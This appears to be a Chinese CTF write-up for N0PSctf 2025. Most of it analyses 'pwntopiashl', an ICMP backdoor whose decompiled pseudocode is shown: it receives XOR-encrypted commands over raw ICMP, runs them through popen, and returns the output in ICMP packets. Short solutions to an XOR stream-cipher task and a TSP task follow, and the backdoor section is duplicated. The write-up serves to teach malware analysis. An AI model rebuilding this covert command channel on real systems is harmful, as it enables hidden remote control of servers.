N0PSctf 2025 writeup
pwntopiashl
题目描述
N0PStopia has been attacked by PwnTopia! They installed a stealthy binary on one of our servers, but we did not understand what it does! Can you help? We saw some weird ICMP traffic during the attack, you can find attached a capture file.
分析
题目给了给 elf 和 一个 pcap
pcap 里面包含了几组畸形的ICMP流量
ida 打开 pwntopiashl 文件,关键逻辑都在 icmp_packet_listener
函数中
在进行分析之前需要先大致看过一遍,因为IDA在反汇编这个函数的时候有几个的错误需要手动纠正,不然就没法分析
首先
1. 需要注意的是这个 `memset(s, 0, 0x63C0uLL)` ,可以看到 s 的大小应该是 0x63C0,但是IDA把它识别成了char s[20],这里会导致后面伪代码错误

2. 还需要注意这个存储key的变量v9,ida会把它识别成一个 __int16,但是看下面的解密过程 `dest[j] ^= *((_BYTE *)&v9 + (j & 7))` 其实可以推断出这个 v9 的长度为 8

修正完这两个地方,伪代码即可看出正确的逻辑
1 | void __noreturn icmp_packet_listener() |
程序大致做了几个关键的事情:
首先创建了一个接受 ICMP 包的 socket,这里
socket(2, 3, 1)
对应的源码应该是socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
,这些宏定义的值可以在/usr/include/bits/socket_type.h
和/usr/include/bits/socket.h
中找到,或者一些插件也可以还原出来。
while ( recv(fd, s, 0x63BFuLL, 0) <= 0 );
循环接收 ICMP 包生成密钥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24v14 = &s[20];
//分析可以得出 s[20] == 0xC 和 s[21] == 0x23 的时候进入这个判断,进行密钥的生成
if ( s[20] == 0xC && v14[1] == 0x23 )
{
// 取出 v14 + 1 处的一个 _WORD 赋值给 v6 这个地址,其实就是接收的包的 s[22]、s[23]
*(_WORD *)v6 = *((_WORD *)v14 + 1);
// 生成两个随机数赋值给 v6[2] 和 v6[3]
v6[2] = rand();
v6[3] = rand();
// 密钥的后面 4 个是由 前面4个字节变换出来的
v6[4] = v6[0] ^ v6[1];
v6[5] = v6[2] ^ v6[3];
v6[6] = v6[0] ^ v6[2];
v6[7] = v6[1] ^ v6[3];
// 到这里密钥就由 ICMP 携带的两个字节以及生成的两个随机数以及他们变换出来的 4 个直接共同组成密钥,存储在了 v6
memset(buf, 0, sizeof(buf));
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
buf[0] = 0;
// 这里只把随机生成的两个字节(一个WORD)最为回包发送出去
*(_WORD *)&buf[2] = *(_WORD *)&v6[2];
sleep(1u);
sendto(fd, buf, v12 + 8LL, 0, &addr, 0x10u);
}执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22n28 = 28;
......
// 当 s[20] == 0x13 和 s[21] == 0x2A 的时候进入这个判断,执行命令
if ( *v14 == 0x13 && v14[1] == 0x2A )
{
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
memset(dest, 0, sizeof(dest));
memcpy(dest, &s[n28], (unsigned int)(25535 - n28));
for ( i = 25536; ; --i )
{
i_1 = i;
if ( i_1 < strlen(dest) || dest[i - 1] )
break;
}
// 需要关注的是这里,会把传入的数据和 v6 也就是上个步骤生成 key 进行循环异或
for ( j = 0; j < i; ++j )
dest[j] ^= v6[j & 7];
puts(dest);
fflush(_bss_start);
// 传入 popen 执行
stream = popen(dest, "r");返回执行结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37// 执行传进来的命令
stream = popen(dest, "r");
if ( stream )
{
memset(dest, 0, sizeof(dest));
memset(s, 0, sizeof(s));
// 获取执行结果
while ( fgets(s, 25536, stream) )
{
v1 = strlen(dest);
if ( v1 + strlen(s) > 0x63BE )
break;
strcat(dest, s);
}
pclose(stream);
i = strlen(dest);
// 把执行结果和 key 进行异或
for ( j = 0; j < i; ++j )
dest[j] ^= v6[j & 7];
......
for ( j = 0; j < j_1; ++j )
{
memset(buf, 0, sizeof(buf));
buf[0] = 8;
i_4 = i_3;
if ( i_3 > 0x10 )
i_4 = 16;
i_5 = i_4;
// 给每个数据打上序号
sprintf(&buf[8], "%04d%04d", j + 1, j_1);
memcpy(&buf[16], &dest[v19], i_5);
v19 += i_5;
i_3 -= i_5;
sleep(1u);
// 回复 ICMP
sendto(fd, buf, i_5 + 16LL, 0, &addr, 0x10u);
}
至此分析完了这个程序的功能,可以看出这个其实是一个基于 ICMP 的后门,通讯的流程为
- 向运行pwntopiashl的服务器发送一个 icmp 包,type ** 0xC 和 code ** 0x23 进行密钥生成,为下一步执行命令做准备
- 向运行pwntopiashl的服务器发送一个 icmp 包,type ** 0x13 和 code ** 0x2A 执行命令,命令使用第一步协商的密钥进行加密
- 回复命令执行结果,使用 key 加密
所以给的 pcap 就是执行命令的流量,需要我们解密这个流量
需要知道的是 key 的组成,是由发起者发送的嵌在ICMP里面的 2 个字节,后门生成的 2 个字节,以及这 4 个直接拼接起来后变换出来的 4 个直接,一共 8 个字节,首先筛选出这个流量包,以第一次执行命令的流量为例,首先 1.3.3.7 向 7.3.3.1 发送了一个 type 为 12 (0xc),code 为 35 (0x23)的 ICMP 包,在 code 的后面在本应该是 checksum 的位置携带了 2 个字节 da0a
7.3.3.1 的相应包中携带了 key 的两个字节 dee0 ,一样也在 checksum 的位置
到这里密钥协商完成,得出key的前4个字节,生成剩下的 4 个字节即可获得 key
1 | key = b"\xda\x0a\xde\xe0" |
依次类推可以推出所有的 key
然后就是执行命令的数据包
执行命令的 icmp 包为:s[20] == 0x13 和 s[21] == 0x2A
,也就是 type 为 19 (0x13),code 为 42 (0x2a)
跳过ICMP头(8字节)得到数据 b36e
组合起来就是
1 | key = b"\xda\x0a\xde\xe0" |
依次类推,解密所有执行的命令
最后一条命令应该就是加密了 flag
1 | cat .secret | openssl enc -aes-256-cbc -a -salt -pbkdf2 -pass pass:we_pwned_nops |
单独解密这个返回包数据
1 | a = bytes.fromhex("bf389a3784df6025b23bf737a4fc0329de409f3cb4f07a0ca765f30d93db7d279d72ae2dbad9792a896c9073b9a0552b804d9a088fab5c3eab63a53199e00121e0") |
N0PS{v3Ry_s734lThY_1cMP_sh3Ll}得出 openssl aes-256-cbc 加密后的密文,使用 openssl 解密,得出 flag
1 | $ echo U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o | base64 -d | openssl enc -aes-256-cbc -d -salt -pbkdf2 -pass pass:we_pwned_nops |
可以用 scapy 实现自动提取解密
但是,我没写。。。。
只有草稿
1 | from scapy.all import * |
pwntopiashl
题目描述
N0PStopia has been attacked by PwnTopia! They installed a stealthy binary on one of our servers, but we did not understand what it does! Can you help? We saw some weird ICMP traffic during the attack, you can find attached a capture file.
分析
题目给了给 elf 和 一个 pcap
pcap 里面包含了几组畸形的ICMP流量
ida 打开 pwntopiashl 文件,关键逻辑都在 icmp_packet_listener
函数中
在进行分析之前需要先大致看过一遍,因为IDA在反汇编这个函数的时候有几个的错误需要手动纠正,不然就没法分析
首先
需要注意的是这个
memset(s, 0, 0x63C0uLL)
,可以看到 s 的大小应该是 0x63C0,但是IDA把它识别成了char s[20],这里会导致后面伪代码错误
还需要注意这个存储key的变量v9,ida会把它识别成一个 __int16,但是看下面的解密过程
dest[j] ^= *((_BYTE *)&v9 + (j & 7))
其实可以推断出这个 v9 的长度为 8
修正完这两个地方,伪代码即可看出正确的逻辑
1 | void __noreturn icmp_packet_listener() |
程序大致做了几个关键的事情:
首先创建了一个接受 ICMP 包的 socket,这里
socket(2, 3, 1)
对应的源码应该是socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
,这些宏定义的值可以在/usr/include/bits/socket_type.h
和/usr/include/bits/socket.h
中找到,或者一些插件也可以还原出来。
while ( recv(fd, s, 0x63BFuLL, 0) <= 0 );
循环接收 ICMP 包生成密钥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24v14 = &s[20];
//分析可以得出 s[20] == 0xC 和 s[21] == 0x23 的时候进入这个判断,进行密钥的生成
if ( s[20] == 0xC && v14[1] == 0x23 )
{
// 取出 v14 + 1 处的一个 _WORD 赋值给 v6 这个地址,其实就是接收的包的 s[22]、s[23]
*(_WORD *)v6 = *((_WORD *)v14 + 1);
// 生成两个随机数赋值给 v6[2] 和 v6[3]
v6[2] = rand();
v6[3] = rand();
// 密钥的后面 4 个是由 前面4个字节变换出来的
v6[4] = v6[0] ^ v6[1];
v6[5] = v6[2] ^ v6[3];
v6[6] = v6[0] ^ v6[2];
v6[7] = v6[1] ^ v6[3];
// 到这里密钥就由 ICMP 携带的两个字节以及生成的两个随机数以及他们变换出来的 4 个直接共同组成密钥,存储在了 v6
memset(buf, 0, sizeof(buf));
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
buf[0] = 0;
// 这里只把随机生成的两个字节(一个WORD)最为回包发送出去
*(_WORD *)&buf[2] = *(_WORD *)&v6[2];
sleep(1u);
sendto(fd, buf, v12 + 8LL, 0, &addr, 0x10u);
}执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22n28 = 28;
......
// 当 s[20] == 0x13 和 s[21] == 0x2A 的时候进入这个判断,执行命令
if ( *v14 == 0x13 && v14[1] == 0x2A )
{
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)s_1 + 3);
memset(dest, 0, sizeof(dest));
memcpy(dest, &s[n28], (unsigned int)(25535 - n28));
for ( i = 25536; ; --i )
{
i_1 = i;
if ( i_1 < strlen(dest) || dest[i - 1] )
break;
}
// 需要关注的是这里,会把传入的数据和 v6 也就是上个步骤生成 key 进行循环异或
for ( j = 0; j < i; ++j )
dest[j] ^= v6[j & 7];
puts(dest);
fflush(_bss_start);
// 传入 popen 执行
stream = popen(dest, "r");返回执行结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37// 执行传进来的命令
stream = popen(dest, "r");
if ( stream )
{
memset(dest, 0, sizeof(dest));
memset(s, 0, sizeof(s));
// 获取执行结果
while ( fgets(s, 25536, stream) )
{
v1 = strlen(dest);
if ( v1 + strlen(s) > 0x63BE )
break;
strcat(dest, s);
}
pclose(stream);
i = strlen(dest);
// 把执行结果和 key 进行异或
for ( j = 0; j < i; ++j )
dest[j] ^= v6[j & 7];
......
for ( j = 0; j < j_1; ++j )
{
memset(buf, 0, sizeof(buf));
buf[0] = 8;
i_4 = i_3;
if ( i_3 > 0x10 )
i_4 = 16;
i_5 = i_4;
// 给每个数据打上序号
sprintf(&buf[8], "%04d%04d", j + 1, j_1);
memcpy(&buf[16], &dest[v19], i_5);
v19 += i_5;
i_3 -= i_5;
sleep(1u);
// 回复 ICMP
sendto(fd, buf, i_5 + 16LL, 0, &addr, 0x10u);
}
至此分析完了这个程序的功能,可以看出这个其实是一个基于 ICMP 的后门,通讯的流程为
- 向运行pwntopiashl的服务器发送一个 icmp 包,type ** 0xC 和 code ** 0x23 进行密钥生成,为下一步执行命令做准备
- 向运行pwntopiashl的服务器发送一个 icmp 包,type ** 0x13 和 code ** 0x2A 执行命令,命令使用第一步协商的密钥进行加密
- 回复命令执行结果,使用 key 加密
所以给的 pcap 就是执行命令的流量,需要我们解密这个流量
需要知道的是 key 的组成,是由发起者发送的嵌在ICMP里面的 2 个字节,后门生成的 2 个字节,以及这 4 个直接拼接起来后变换出来的 4 个直接,一共 8 个字节,首先筛选出这个流量包,以第一次执行命令的流量为例,首先 1.3.3.7 向 7.3.3.1 发送了一个 type 为 12 (0xc),code 为 35 (0x23)的 ICMP 包,在 code 的后面在本应该是 checksum 的位置携带了 2 个字节 da0a
7.3.3.1 的相应包中携带了 key 的两个字节 dee0 ,一样也在 checksum 的位置
到这里密钥协商完成,得出key的前4个字节,生成剩下的 4 个字节即可获得 key
1 | key = b"\xda\x0a\xde\xe0" |
依次类推可以推出所有的 key
然后就是执行命令的数据包
执行命令的 icmp 包为:s[20] == 0x13 和 s[21] == 0x2A
,也就是 type 为 19 (0x13),code 为 42 (0x2a)
跳过ICMP头(8字节)得到数据 b36e
组合起来就是
1 | key = b"\xda\x0a\xde\xe0" |
依次类推,解密所有执行的命令
最后一条命令应该就是加密了 flag
1 | cat .secret | openssl enc -aes-256-cbc -a -salt -pbkdf2 -pass pass:we_pwned_nops |
单独解密这个返回包数据
1 | a = bytes.fromhex("bf389a3784df6025b23bf737a4fc0329de409f3cb4f07a0ca765f30d93db7d279d72ae2dbad9792a896c9073b9a0552b804d9a088fab5c3eab63a53199e00121e0") |
N0PS{v3Ry_s734lThY_1cMP_sh3Ll}得出 openssl aes-256-cbc 加密后的密文,使用 openssl 解密,得出 flag
1 | $ echo U2FsdGVkX1+sDd5g4JCxThLBMo/IsCKiwxriZAOdcfL7Y8cejGFLo3jpAiyuyx7o | base64 -d | openssl enc -aes-256-cbc -d -salt -pbkdf2 -pass pass:we_pwned_nops |
可以用 scapy 实现自动提取解密
但是,我没写。。。。
只有草稿
1 | from scapy.all import * |
Break My Stream
题目:
1 | import os |
这个题目给了一大推代码故弄玄虚,其实就是 encrypt 这里,简单的把密钥和输入的消息进行了异或,直接输入和flag一样长度的 \x00 即可得出 key,因为任何数据和 0 异或都得到他本身
exp:
1 | from pwn import * |
G-Bee-S
旅行商问题(TSP)
1 | import math |